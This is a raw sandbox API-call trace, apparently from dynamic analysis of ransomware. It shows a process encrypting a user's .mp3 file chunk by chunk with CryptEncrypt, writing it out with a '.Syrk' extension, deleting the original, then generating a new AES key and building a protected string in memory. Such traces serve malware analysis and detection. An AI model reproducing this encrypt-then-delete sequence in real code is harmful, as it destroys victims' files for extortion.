dwLen=0x10, pbBuffer=0x243d2ac | out: pbBuffer=0x243d2ac) returned 1 [0204.569] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0204.570] CryptDuplicateKey (in: hKey=0x5c68e80, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e698 | out: phKey=0x5a2e698*=0x5c68b80) returned 1 [0204.570] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0204.570] CryptSetKeyParam (hKey=0x5c68b80, dwParam=0x4, pbData=0x243e7b8*=0x1, dwFlags=0x0) returned 1 [0204.570] CryptSetKeyParam (hKey=0x5c68b80, dwParam=0x1, pbData=0x243e784, dwFlags=0x0) returned 1 [0204.570] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0204.570] EtwEventActivityIdControl () returned 0x0 [0204.571] EtwEventActivityIdControl () returned 0x0 [0204.571] EtwEventActivityIdControl () returned 0x0 [0204.572] EtwEventActivityIdControl () returned 0x0 [0204.573] ReadFile (in: hFile=0x45c, lpBuffer=0x2441478, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6a4, lpOverlapped=0x0 | out: lpBuffer=0x2441478*, lpNumberOfBytesRead=0x5a2e6a4*=0x14000, lpOverlapped=0x0) returned 1 [0204.796] CryptEncrypt (in: hKey=0x5c68b80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2455490*, pdwDataLen=0x5a2e698*=0x14000, dwBufLen=0x14000 | out: pbData=0x2455490*, pdwDataLen=0x5a2e698*=0x14000) returned 1 [0204.797] WriteFile (in: hFile=0x344, lpBuffer=0x243d450*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e67c, lpOverlapped=0x0 | out: lpBuffer=0x243d450*, lpNumberOfBytesWritten=0x5a2e67c*=0x1000, lpOverlapped=0x0) returned 1 [0204.799] WriteFile (in: hFile=0x344, lpBuffer=0x245647c*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e67c, lpOverlapped=0x0 | out: lpBuffer=0x245647c*, lpNumberOfBytesWritten=0x5a2e67c*=0x13014, lpOverlapped=0x0) returned 1 [0204.801] ReadFile (in: hFile=0x45c, lpBuffer=0x2441478, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6a4, lpOverlapped=0x0 | out: lpBuffer=0x2441478*, lpNumberOfBytesRead=0x5a2e6a4*=0xcd9, lpOverlapped=0x0) returned 1 [0204.801] CryptEncrypt (in: hKey=0x5c68b80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x246949c*, pdwDataLen=0x5a2e698*=0xcd0, dwBufLen=0xcd0 | out: pbData=0x246949c*, pdwDataLen=0x5a2e698*=0xcd0) returned 1 [0204.801] ReadFile (in: hFile=0x45c, lpBuffer=0x2441478, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6a4, lpOverlapped=0x0 | out: lpBuffer=0x2441478*, lpNumberOfBytesRead=0x5a2e6a4*=0x0, lpOverlapped=0x0) returned 1 [0204.801] CryptEncrypt (in: hKey=0x5c68b80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x246a1c8*, pdwDataLen=0x5a2e6f0*=0x10, dwBufLen=0x10 | out: pbData=0x246a1c8*, pdwDataLen=0x5a2e6f0*=0x10) returned 1 [0204.801] CryptEncrypt (in: hKey=0x5c68b80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x246a1e4*, pdwDataLen=0x5a2e6f8*=0x0, dwBufLen=0x10 | out: pbData=0x246a1e4*, pdwDataLen=0x5a2e6f8*=0x10) returned 1 [0204.801] WriteFile (in: hFile=0x344, lpBuffer=0x243d450*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x5a2e6c8, lpOverlapped=0x0 | out: lpBuffer=0x243d450*, lpNumberOfBytesWritten=0x5a2e6c8*=0xce0, lpOverlapped=0x0) returned 1 [0204.801] CloseHandle (hObject=0x344) returned 1 [0204.803] CloseHandle (hObject=0x45c) returned 1 [0204.804] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0204.804] EtwEventActivityIdControl () returned 0x0 [0204.804] EtwEventActivityIdControl () returned 0x0 [0204.804] EtwEventActivityIdControl () returned 0x0 [0204.810] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3")) returned 0x20 [0204.812] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0204.812] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", lpFilePart=0x0) returned 0x29 [0204.812] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0204.813] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0204.813] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0204.813] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0204.813] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0204.813] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0204.813] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0204.813] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0204.813] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0204.813] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0204.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0204.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0204.814] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0204.814] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0204.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0204.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0204.814] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3")) returned 0x20 [0204.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0204.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", lpFilePart=0x0) returned 0x29 [0204.817] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0204.817] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", lpFilePart=0x0) returned 0x29 [0204.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0204.817] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0204.818] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", lpFilePart=0x0) returned 0x29 [0204.818] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0204.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0204.818] CoTaskMemAlloc (cb=0x404) returned 0x38a6b8 [0204.818] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x38a6b8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0204.818] CoTaskMemFree (pv=0x38a6b8) [0204.821] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3")) returned 0x20 [0204.822] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0204.822] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3", lpFilePart=0x0) returned 0x29 [0204.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0204.822] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3"), fInfoLevelId=0x0, lpFileInformation=0x24750e4 | out: lpFileInformation=0x24750e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6c45e0, ftCreationTime.dwHighDateTime=0x1d98eb0, ftLastAccessTime.dwLowDateTime=0xa67ea460, ftLastAccessTime.dwHighDateTime=0x1d994b1, ftLastWriteTime.dwLowDateTime=0xa67ea460, ftLastWriteTime.dwHighDateTime=0x1d994b1, nFileSizeHigh=0x0, nFileSizeLow=0x14cd9)) returned 1 [0204.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0204.822] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3")) returned 1 [0204.824] EtwEventActivityIdControl () returned 0x0 [0204.825] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0204.825] EtwEventActivityIdControl () returned 0x0 [0204.825] EtwEventActivityIdControl () returned 0x0 [0204.825] EtwEventActivityIdControl () returned 0x0 [0204.832] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3.syrk")) returned 0x20 [0204.833] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3.syrk")) returned 0x20 [0204.833] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0204.833] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3.Syrk", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3.Syrk", lpFilePart=0x0) returned 0x2e [0204.834] EtwEventActivityIdControl () returned 0x0 [0204.834] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0204.834] EtwEventActivityIdControl () returned 0x0 [0204.834] EtwEventActivityIdControl () returned 0x0 [0204.834] EtwEventActivityIdControl () returned 0x0 [0204.999] EtwEventActivityIdControl () returned 0x0 [0204.999] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.000] EtwEventActivityIdControl () returned 0x0 [0205.000] EtwEventActivityIdControl () returned 0x0 [0205.000] EtwEventActivityIdControl () returned 0x0 [0205.006] EtwEventActivityIdControl () returned 0x0 [0205.007] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.008] EtwEventActivityIdControl () returned 0x0 [0205.008] EtwEventActivityIdControl () returned 0x0 [0205.008] EtwEventActivityIdControl () returned 0x0 [0205.013] EtwEventActivityIdControl () returned 0x0 [0205.013] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.014] EtwEventActivityIdControl () returned 0x0 [0205.014] EtwEventActivityIdControl () returned 0x0 [0205.014] EtwEventActivityIdControl () returned 0x0 [0205.019] EtwEventActivityIdControl () returned 0x0 [0205.020] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.020] EtwEventActivityIdControl () returned 0x0 [0205.020] EtwEventActivityIdControl () returned 0x0 [0205.020] EtwEventActivityIdControl () returned 0x0 [0205.025] EtwEventActivityIdControl () returned 0x0 [0205.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2db74) returned 1 [0205.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\KcV8WXd6gM.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\kcv8wxd6gm.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x247e60c | out: lpFileInformation=0x247e60c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf67285c0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf67285c0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf6963a60, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x14cf4)) returned 1 [0205.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2db70) returned 1 [0205.035] GetConsoleOutputCP () returned 0x1b5 [0205.161] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2a8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2a8) returned 0 [0205.161] GetConsoleOutputCP () returned 0x1b5 [0205.162] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e330, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e330) returned 0 [0205.162] GetConsoleOutputCP () returned 0x1b5 [0205.162] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e30c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e30c) returned 0 [0205.162] GetConsoleOutputCP () returned 0x1b5 [0205.162] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e30c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e30c) returned 0 [0205.162] GetConsoleOutputCP () returned 0x1b5 [0205.162] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2a8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2a8) returned 0 [0205.163] GetConsoleOutputCP () returned 0x1b5 [0205.163] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e330, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e330) returned 0 [0205.163] GetConsoleOutputCP () returned 0x1b5 [0205.163] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e30c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e30c) returned 0 [0205.163] GetConsoleOutputCP () returned 0x1b5 [0205.163] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e30c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e30c) returned 0 [0205.163] GetConsoleOutputCP () returned 0x1b5 [0205.163] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2a8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2a8) returned 0 [0205.163] GetConsoleOutputCP () returned 0x1b5 [0205.164] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e330, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e330) returned 0 [0205.164] GetConsoleOutputCP () returned 0x1b5 [0205.164] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e30c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e30c) returned 0 [0205.164] GetConsoleOutputCP () returned 0x1b5 [0205.164] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e30c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e30c) returned 0 [0205.164] GetConsoleOutputCP () returned 0x1b5 [0205.164] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2a8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2a8) returned 0 [0205.164] GetConsoleOutputCP () returned 0x1b5 [0205.164] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e330, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e330) returned 0 [0205.165] GetConsoleOutputCP () returned 0x1b5 [0205.165] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e30c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e30c) returned 0 [0205.165] GetConsoleOutputCP () returned 0x1b5 [0205.165] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e30c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e30c) returned 0 [0205.165] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f8 | out: lpConsoleScreenBufferInfo=0x5a2e3f8) returned 1 [0205.166] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3f0 | out: lpMode=0x5a2e3f0) returned 1 [0205.166] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24983fc*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e3e4, lpReserved=0x0 | out: lpBuffer=0x24983fc*, lpNumberOfCharsWritten=0x5a2e3e4*=0x4f) returned 1 [0205.172] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3f0 | out: lpMode=0x5a2e3f0) returned 1 [0205.172] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e4, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e4*=0x2) returned 1 [0205.174] EtwEventActivityIdControl () returned 0x0 [0205.174] EtwEventActivityIdControl () returned 0x0 [0205.175] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.176] EtwEventActivityIdControl () returned 0x0 [0205.176] EtwEventActivityIdControl () returned 0x0 [0205.176] EtwEventActivityIdControl () returned 0x0 [0205.178] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.179] EtwEventActivityIdControl () returned 0x0 [0205.179] EtwEventActivityIdControl () returned 0x0 [0205.179] EtwEventActivityIdControl () returned 0x0 [0205.182] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4d100) returned 1 [0205.183] CryptGenKey (in: hProv=0x5c4d100, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c69500) returned 1 [0205.183] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0205.184] CryptExportKey (in: hKey=0x5c69500, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0205.184] CryptExportKey (in: hKey=0x5c69500, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24a00a0, pdwDataLen=0x5a2e82c | out: pbData=0x24a00a0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0205.184] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0205.185] EtwEventActivityIdControl () returned 0x0 [0205.185] EtwEventActivityIdControl () returned 0x0 [0205.185] EtwEventActivityIdControl () returned 0x0 [0205.186] SysStringLen (param_1="") returned 0x8 [0205.186] SysStringLen (param_1="f") returned 0x8 [0205.186] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.186] SysStringLen (param_1="绒␖뱈ꃤ墚嚭箃") returned 0x8 [0205.186] SysStringLen (param_1="绒␖뱈ꃤ墚嚭箃") returned 0x8 [0205.186] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.186] SysStringLen (param_1="fM") returned 0x8 [0205.186] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.187] SysStringLen (param_1="篣\\秚鰩⤣陔胸각") returned 0x8 [0205.187] SysStringLen (param_1="篣\\秚鰩⤣陔胸각") returned 0x8 [0205.187] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.187] SysStringLen (param_1="fMF") returned 0x8 [0205.187] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.187] SysStringLen (param_1="̸ᴸ녉襗謒㜶ṩ傖") returned 0x8 [0205.187] SysStringLen (param_1="̸ᴸ녉襗謒㜶ṩ傖") returned 0x8 [0205.187] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.187] SysStringLen (param_1="fMF2") returned 0x8 [0205.187] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.187] SysStringLen (param_1="⢯냍맅呣㧭콑ީ") returned 0x8 [0205.187] SysStringLen (param_1="⢯냍맅呣㧭콑ީ") returned 0x8 [0205.187] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.188] SysStringLen (param_1="fMF2G") returned 0x8 [0205.188] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.188] SysStringLen (param_1="䐸襒躈䰦鋫ᤏ䙉") returned 0x8 [0205.188] SysStringLen (param_1="䐸襒躈䰦鋫ᤏ䙉") returned 0x8 [0205.188] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.188] SysStringLen (param_1="fMF2GS") returned 0x8 [0205.188] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.188] SysStringLen (param_1="쟃䫥䙵Ẳര貄蒺⋶") returned 0x8 [0205.188] SysStringLen (param_1="쟃䫥䙵Ẳര貄蒺⋶") returned 0x8 [0205.188] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.188] SysStringLen (param_1="fMF2GS2") returned 0x8 [0205.188] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.189] SysStringLen (param_1="䈝皖팏䚛㉥ᮕ䞾") returned 0x8 [0205.189] SysStringLen (param_1="䈝皖팏䚛㉥ᮕ䞾") returned 0x8 [0205.189] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.189] SysStringLen (param_1="fMF2GS2Y") returned 0x8 [0205.189] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0205.189] SysStringLen (param_1="殃꛹➞녇됁셭腵镂") returned 0x8 [0205.189] SysStringLen (param_1="殃꛹➞녇됁셭腵镂") returned 0x8 [0205.189] SysStringLen (param_1="殃꛹➞녇됁셭腵镂") returned 0x8 [0205.189] SysStringLen (param_1="殃꛹➞녇됁셭腵镂") returned 0x10 [0205.189] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.190] SysStringLen (param_1="fMF2GS2Yf鹬僷உ㿮眒塹") returned 0x10 [0205.190] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.190] SysStringLen (param_1="殃꛹➞녇됁셭腵镂謱ﱢ蜿䬬铥\郜㵶∯) returned 0x10 [0205.190] SysStringLen (param_1="殃꛹➞녇됁셭腵镂謱ﱢ蜿䬬铥\郜㵶∯) returned 0x10 [0205.190] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.190] SysStringLen (param_1="fMF2GS2YfJ僷உ㿮眒塹") returned 0x10 [0205.190] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0205.190] SysStringLen (param_1="殃꛹➞녇됁셭腵镂媄ጁ䗞ଇ㒵鵉衡多") returned 0x10 